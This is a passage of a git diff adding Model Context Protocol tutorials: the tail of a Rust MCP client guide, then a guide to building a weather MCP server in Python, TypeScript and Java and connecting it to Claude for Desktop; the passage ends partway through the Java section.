+ The method first sends the user's query and available tools to Claude. When Claude requests tools, the client executes each request through the MCP session, sends the results back to Claude, and collects the final text response.
+
+ ### Interactive Chat Interface
+
+ Add the interactive terminal loop inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn chat_loop(&mut self) -> Result<()> {
+ println!("\nMCP Client Started!");
+ println!("Type your queries or 'quit' to exit.");
+
+ let mut stdin = BufReader::new(io::stdin());
+ let mut input = String::new();
+
+ loop {
+ print!("\nQuery: ");
+ std::io::Write::flush(&mut std::io::stdout())?;
+
+ input.clear();
+ if stdin.read_line(&mut input).await? == 0 {
+ break; // EOF
+ }
+
+ let query = input.trim();
+ if query.eq_ignore_ascii_case("quit") {
+ break;
+ }
+ if query.is_empty() {
+ continue;
+ }
+
+ match self.process_query(query).await {
+ Ok(response) => println!("\n{}", response),
+ Err(err) => println!("\nError: {}", err),
+ }
+ }
+
+ Ok(())
+ }
+ ```
+
+ The loop accepts queries until the user types `quit` or closes standard input. Query errors are printed without terminating the client.
+
+ ### Cleanup
+
+ Add this method inside `impl MCPClient` to stop the MCP session and child process:
+
+ ```rust theme={null}
+ async fn cleanup(&mut self) -> Result<()> {
+ if let Some(session) = self.session.take() {
+ let _ = session.cancel().await;
+ }
+ Ok(())
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, add the asynchronous entry point outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ dotenvy::dotenv().context("Failed to load env file")?;
+
+ let mut args = std::env::args();
+ let _ = args.next();
+ let server_args: Vec = args.collect();
+
+ if server_args.is_empty() {
+ eprintln!("Usage: cargo run -- [args...]");
+ std::process::exit(1);
+ }
+
+ let mut client = MCPClient::new()?;
+
+ let result = async {
+ client.connect_to_server(&server_args).await?;
+ client.chat_loop().await
+ }
+ .await;
+
+ let cleanup_result = client.cleanup().await;
+
+ result?;
+ cleanup_result?;
+
+ Ok(())
+ }
+ ```
+
+ The entry point loads `.env`, treats all remaining command-line arguments as the server command, connects the client, starts the chat loop, and ensures cleanup runs before exiting.
+
+ ### Verify the Complete File
+
+ Before running the client, confirm the items in `src/main.rs` are placed at the correct scope:
+
+ * `new`, `connect_to_server`, `process_query`, `request_model`, `chat_loop`, and `cleanup` are methods inside the single `impl MCPClient` block.
+ * `main` and `convert_tools` are functions outside the `impl MCPClient` block.
+
+ Rust does not require these items to appear in a particular order, but methods and free functions must be placed in the correct scope. Compare your file with the [complete `src/main.rs` example](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-rust/src/main.rs), then check that it compiles:
+
+ ```bash theme={null}
+ cargo fmt --check
+ cargo check
+ ```
+
+ ## Running the Client
+
+ Use `cargo run --` followed by the command you would normally use to start the MCP server:
+
+ ```bash theme={null}
+ # Python server
+ cargo run -- python path/to/server.py
+
+ # Node.js server
+ cargo run -- node path/to/build/index.js
+
+ # Executable server
+ cargo run -- path/to/server-binary
+ ```
+
+ Running bare `cargo run` without a server command prints the usage message and exits.
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust), build the server first and then run a command similar to: `cargo run -- ../weather-server-rust/target/debug/weather`
+
+
+ The client will:
+
+ 1. Start and connect to the specified MCP server
+ 2. List the tools available from that server
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client sends your query and the server's available tools to Claude
+ 2. Claude decides which tools, if any, to use
+ 3. The client executes requested tools through the MCP session
+ 4. Tool results are sent back to Claude
+ 5. Claude provides a natural language response
+ 6. The response is displayed in the terminal
+
+ ## Best Practices
+
+ 1. **Error Handling**
+ * Add context to errors at process, MCP, model API, and serialization boundaries
+ * Report individual query errors without terminating the interactive session
+ * Validate server commands before running them
+
+ 2. **Resource Management**
+ * Always cancel the MCP session during cleanup
+ * Ensure cleanup runs even when connection or chat-loop operations fail
+ * Avoid starting a second server while a session is active
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Review the tools exposed by a server before allowing model-driven calls
+ * Connect only to servers and executable commands you trust
+
+ ## Troubleshooting
+
+ ### Server Command Issues
+
+ The arguments after `cargo run --` must form a complete command. Interpreted server scripts need their runtime:
+
+ ```bash theme={null}
+ # Correct
+ cargo run -- python ./server/weather.py
+ cargo run -- node ./server/build/index.js
+
+ # Incorrect: a Python script is not necessarily executable by itself
+ cargo run -- ./server/weather.py
+ ```
+
+ If a command cannot be found, use its absolute path or verify it is available in your `PATH`.
+
+ ### Environment File Issues
+
+ If you see `Failed to load env file`, ensure `.env` exists in the directory where you run the client.
+
+ If the model request reports a missing API key, confirm that `.env` contains:
+
+ ```text theme={null}
+ ANTHROPIC_API_KEY=your-api-key-goes-here
+ ```
+
+ ### Tool and Response Errors
+
+ * `Unable to list tools from server`: Verify the server starts successfully and communicates over stdio
+ * `Tool call ... failed`: Verify the server tool's required arguments and environment variables
+ * `Failed to serialize tool result`: Inspect the server's response for unsupported or malformed content
+
+
+
+## Next steps
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
diff --git a/content/mcp/docs/2025-06-18/develop/build-server.md b/content/mcp/docs/2025-06-18/develop/build-server.md
new file mode 100644
index 000000000..d45b06ba2
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/develop/build-server.md
@@ -0,0 +1,3001 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP server
+
+> Get started building your own server to use in Claude for Desktop and other clients.
+
+In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop.
+
+### What we'll be building
+
+We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop):
+
+
+
+
+
+
+ Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have a guide on [building your own client](/docs/2025-06-18/develop/build-client).
+
+
+### Core MCP Concepts
+
+MCP servers can provide three main types of capabilities:
+
+1. **[Resources](/docs/2025-06-18/learn/server-concepts#resources)**: File-like data that can be read by clients (like API responses or file contents)
+2. **[Tools](/docs/2025-06-18/learn/server-concepts#tools)**: Functions that can be called by the LLM (with user approval)
+3. **[Prompts](/docs/2025-06-18/learn/server-concepts#prompts)**: Pre-written templates that help users accomplish specific tasks
+
+This tutorial will primarily focus on tools.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Python
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, but can be used safely with `file=sys.stderr`.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```python theme={null}
+ import sys
+ import logging
+
+ # ❌ Bad (STDIO)
+ print("Processing request")
+
+ # ✅ Good (STDIO)
+ print("Processing request", file=sys.stderr)
+
+ # ✅ Good (STDIO)
+ logging.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Python 3.10 or higher installed.
+ * You must use the Python MCP SDK 1.2.0 or higher.
+
+ ### Set up your environment
+
+ First, let's install `uv` and set up our Python project and environment:
+
+
+ ```bash macOS/Linux theme={null}
+ curl -LsSf https://astral.sh/uv/install.sh | sh
+ ```
+
+ ```powershell Windows theme={null}
+ powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
+ ```
+
+
+ Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ source .venv/bin/activate
+
+ # Install dependencies
+ uv add "mcp[cli]" httpx
+
+ # Create our server file
+ touch weather.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ .venv\Scripts\activate
+
+ # Install dependencies
+ uv add mcp[cli] httpx
+
+ # Create our server file
+ new-item weather.py
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `weather.py`:
+
+ ```python theme={null}
+ from typing import Any
+
+ import httpx
+ from mcp.server.fastmcp import FastMCP
+
+ # Initialize FastMCP server
+ mcp = FastMCP("weather")
+
+ # Constants
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The FastMCP class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools.
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```python theme={null}
+ async def make_nws_request(url: str) -> dict[str, Any] | None:
+ """Make a request to the NWS API with proper error handling."""
+ headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"}
+ async with httpx.AsyncClient() as client:
+ try:
+ response = await client.get(url, headers=headers, timeout=30.0)
+ response.raise_for_status()
+ return response.json()
+ except Exception:
+ return None
+
+
+ def format_alert(feature: dict) -> str:
+ """Format an alert feature into a readable string."""
+ props = feature["properties"]
+ return f"""
+ Event: {props.get("event", "Unknown")}
+ Area: {props.get("areaDesc", "Unknown")}
+ Severity: {props.get("severity", "Unknown")}
+ Description: {props.get("description", "No description available")}
+ Instructions: {props.get("instruction", "No specific instructions provided")}
+ """
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```python theme={null}
+ @mcp.tool()
+ async def get_alerts(state: str) -> str:
+ """Get weather alerts for a US state.
+
+ Args:
+ state: Two-letter US state code (e.g. CA, NY)
+ """
+ url = f"{NWS_API_BASE}/alerts/active/area/{state}"
+ data = await make_nws_request(url)
+
+ if not data or "features" not in data:
+ return "Unable to fetch alerts or no alerts found."
+
+ if not data["features"]:
+ return "No active alerts for this state."
+
+ alerts = [format_alert(feature) for feature in data["features"]]
+ return "\n---\n".join(alerts)
+
+
+ @mcp.tool()
+ async def get_forecast(latitude: float, longitude: float) -> str:
+ """Get weather forecast for a location.
+
+ Args:
+ latitude: Latitude of the location
+ longitude: Longitude of the location
+ """
+ # First get the forecast grid endpoint
+ points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}"
+ points_data = await make_nws_request(points_url)
+
+ if not points_data:
+ return "Unable to fetch forecast data for this location."
+
+ # Get the forecast URL from the points response
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = await make_nws_request(forecast_url)
+
+ if not forecast_data:
+ return "Unable to fetch detailed forecast."
+
+ # Format the periods into a readable forecast
+ periods = forecast_data["properties"]["periods"]
+ forecasts = []
+ for period in periods[:5]: # Only show next 5 periods
+ forecast = f"""
+ {period["name"]}:
+ Temperature: {period["temperature"]}°{period["temperatureUnit"]}
+ Wind: {period["windSpeed"]} {period["windDirection"]}
+ Forecast: {period["detailedForecast"]}
+ """
+ forecasts.append(forecast)
+
+ return "\n---\n".join(forecasts)
+ ```
+
+ ### Running the server
+
+ Finally, let's initialize and run the server:
+
+ ```python theme={null}
+ def main():
+ # Initialize and run the server
+ mcp.run(transport="stdio")
+
+
+ if __name__ == "__main__":
+ main()
+ ```
+
+ Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-06-18/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows.
+
+
+
+ Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * TypeScript
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```javascript theme={null}
+ // ❌ Bad (STDIO)
+ console.log("Server started");
+
+ // ✅ Good (STDIO)
+ console.error("Server started"); // stderr is safe
+ ```
+
+ ### System requirements
+
+ For TypeScript, make sure you have the latest version of Node installed.
+
+ ### Set up your environment
+
+ First, let's install Node.js and npm if you haven't already. You can download them from [nodejs.org](https://nodejs.org/).
+ Verify your Node.js installation:
+
+ ```bash theme={null}
+ node --version
+ npm --version
+ ```
+
+ For this tutorial, you'll need Node.js version 16 or higher.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/sdk zod@3
+ npm install -D @types/node typescript
+
+ # Create our files
+ mkdir src
+ touch src/index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/sdk zod@3
+ npm install -D @types/node typescript
+
+ # Create our files
+ md src
+ new-item src\index.ts
+ ```
+
+
+ Update your package.json to add type: "module" and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "bin": {
+ "weather": "./build/index.js"
+ },
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ },
+ "files": ["build"]
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "outDir": "./build",
+ "rootDir": "./src",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["src/**/*"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `src/index.ts`:
+
+ ```typescript theme={null}
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
+ import { z } from "zod";
+
+ const NWS_API_BASE = "https://api.weather.gov";
+ const USER_AGENT = "weather-app/1.0";
+
+ // Create server instance
+ const server = new McpServer({
+ name: "weather",
+ version: "1.0.0",
+ });
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```typescript theme={null}
+ // Helper function for making NWS API requests
+ async function makeNWSRequest(url: string): Promise {
+ const headers = {
+ "User-Agent": USER_AGENT,
+ Accept: "application/geo+json",
+ };
+
+ try {
+ const response = await fetch(url, { headers });
+ if (!response.ok) {
+ throw new Error(`HTTP error! status: ${response.status}`);
+ }
+ return (await response.json()) as T;
+ } catch (error) {
+ console.error("Error making NWS request:", error);
+ return null;
+ }
+ }
+
+ interface AlertFeature {
+ properties: {
+ event?: string;
+ areaDesc?: string;
+ severity?: string;
+ status?: string;
+ headline?: string;
+ };
+ }
+
+ // Format alert data
+ function formatAlert(feature: AlertFeature): string {
+ const props = feature.properties;
+ return [
+ `Event: ${props.event || "Unknown"}`,
+ `Area: ${props.areaDesc || "Unknown"}`,
+ `Severity: ${props.severity || "Unknown"}`,
+ `Status: ${props.status || "Unknown"}`,
+ `Headline: ${props.headline || "No headline"}`,
+ "---",
+ ].join("\n");
+ }
+
+ interface ForecastPeriod {
+ name?: string;
+ temperature?: number;
+ temperatureUnit?: string;
+ windSpeed?: string;
+ windDirection?: string;
+ shortForecast?: string;
+ }
+
+ interface AlertsResponse {
+ features: AlertFeature[];
+ }
+
+ interface PointsResponse {
+ properties: {
+ forecast?: string;
+ };
+ }
+
+ interface ForecastResponse {
+ properties: {
+ periods: ForecastPeriod[];
+ };
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```typescript theme={null}
+ // Register weather tools
+
+ server.registerTool(
+ "get_alerts",
+ {
+ description: "Get weather alerts for a state",
+ inputSchema: {
+ state: z
+ .string()
+ .length(2)
+ .describe("Two-letter state code (e.g. CA, NY)"),
+ },
+ },
+ async ({ state }) => {
+ const stateCode = state.toUpperCase();
+ const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`;
+ const alertsData = await makeNWSRequest(alertsUrl);
+
+ if (!alertsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve alerts data",
+ },
+ ],
+ };
+ }
+
+ const features = alertsData.features || [];
+ if (!features.length) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `No active alerts for ${stateCode}`,
+ },
+ ],
+ };
+ }
+
+ const formattedAlerts = features.map(formatAlert);
+ const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: alertsText,
+ },
+ ],
+ };
+ },
+ );
+
+ server.registerTool(
+ "get_forecast",
+ {
+ description: "Get weather forecast for a location",
+ inputSchema: {
+ latitude: z
+ .number()
+ .min(-90)
+ .max(90)
+ .describe("Latitude of the location"),
+ longitude: z
+ .number()
+ .min(-180)
+ .max(180)
+ .describe("Longitude of the location"),
+ },
+ },
+ async ({ latitude, longitude }) => {
+ // Get grid point data
+ const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`;
+ const pointsData = await makeNWSRequest(pointsUrl);
+
+ if (!pointsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`,
+ },
+ ],
+ };
+ }
+
+ const forecastUrl = pointsData.properties?.forecast;
+ if (!forecastUrl) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to get forecast URL from grid point data",
+ },
+ ],
+ };
+ }
+
+ // Get forecast data
+ const forecastData = await makeNWSRequest(forecastUrl);
+ if (!forecastData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve forecast data",
+ },
+ ],
+ };
+ }
+
+ const periods = forecastData.properties?.periods || [];
+ if (periods.length === 0) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "No forecast periods available",
+ },
+ ],
+ };
+ }
+
+ // Format forecast periods
+ const formattedForecast = periods.map((period: ForecastPeriod) =>
+ [
+ `${period.name || "Unknown"}:`,
+ `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`,
+ `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`,
+ `${period.shortForecast || "No forecast available"}`,
+ "---",
+ ].join("\n"),
+ );
+
+ const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`;
+
+ return {
+ content: [
+ {
+ type: "text",
+ text: forecastText,
+ },
+ ],
+ };
+ },
+ );
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```typescript theme={null}
+ async function main() {
+ const transport = new StdioServerTransport();
+ await server.connect(transport);
+ console.error("Weather MCP Server running on stdio");
+ }
+
+ main().catch((error) => {
+ console.error("Fatal error in main():", error);
+ process.exit(1);
+ });
+ ```
+
+ Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-06-18/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "node",
+ "args": ["C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\index.js"]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](https://java.sdk.modelcontextprotocol.io/) documentation.
+
+
+ Let's get started with building our weather server!
+ [You can find the complete code for what we'll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server)
+
+ For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation.
+ For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/).
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+ * Ensure any configured logging library will not write to stdout.
+
+ ### System requirements
+
+ * Java 17 or higher installed.
+ * [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher
+
+ ### Set up your environment
+
+ Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project.
+
+ You will need to add the following dependencies:
+
+
+ ```xml Maven theme={null}
+
+
+ org.springframework.ai
+ spring-ai-starter-mcp-server
+
+
+
+ org.springframework
+ spring-web
+
+
+ ```
+
+ ```groovy Gradle theme={null}
+ dependencies {
+ implementation platform("org.springframework.ai:spring-ai-starter-mcp-server")
+ implementation platform("org.springframework:spring-web")
+ }
+ ```
+
+
+ Then configure your application by setting the application properties:
+
+
+ ```bash application.properties theme={null}
+ spring.main.bannerMode=off
+ logging.pattern.console=
+ ```
+
+ ```yaml application.yml theme={null}
+ logging:
+ pattern:
+ console:
+ spring:
+ main:
+ banner-mode: off
+ ```
+
+
+ The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties.
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Weather Service
+
+ Let's implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API:
+
+ ```java theme={null}
+ @Service
+ public class WeatherService {
+
+ private final RestClient restClient;
+
+ public WeatherService() {
+ this.restClient = RestClient.builder()
+ .baseUrl("https://api.weather.gov")
+ .defaultHeader("Accept", "application/geo+json")
+ .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)")
+ .build();
+ }
+
+ @Tool(description = "Get weather forecast for a specific latitude/longitude")
+ public String getWeatherForecastByLocation(
+ double latitude, // Latitude coordinate
+ double longitude // Longitude coordinate
+ ) {
+ // Returns detailed forecast including:
+ // - Temperature and unit
+ // - Wind speed and direction
+ // - Detailed forecast description
+ }
+
+ @Tool(description = "Get weather alerts for a US state")
+ public String getAlerts(
+ @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state
+ ) {
+ // Returns active alerts including:
+ // - Event type
+ // - Affected area
+ // - Severity
+ // - Description
+ // - Safety instructions
+ }
+
+ // ......
+ }
+ ```
+
+ The `@Service` annotation will auto-register the service in your application context.
+ The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools.
+
+ The auto-configuration will automatically register these tools with the MCP server.
+
+ ### Create your Boot Application
+
+ ```java theme={null}
+ @SpringBootApplication
+ public class McpServerApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(McpServerApplication.class, args);
+ }
+
+ @Bean
+ public ToolCallbackProvider weatherTools(WeatherService weatherService) {
+ return MethodToolCallbackProvider.builder().toolObjects(weatherService).build();
+ }
+ }
+ ```
+
+ Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server.
+
+ ### Running the server
+
+ Finally, let's build the server:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux.
+
+
+ First, make sure you have Claude for Desktop installed.
+ [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.stdio=true",
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "spring-ai-mcp-weather": {
+ "command": "java",
+ "args": [
+ "-Dspring.ai.mcp.server.transport=STDIO",
+ "-jar",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your server.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "my-weather-server"
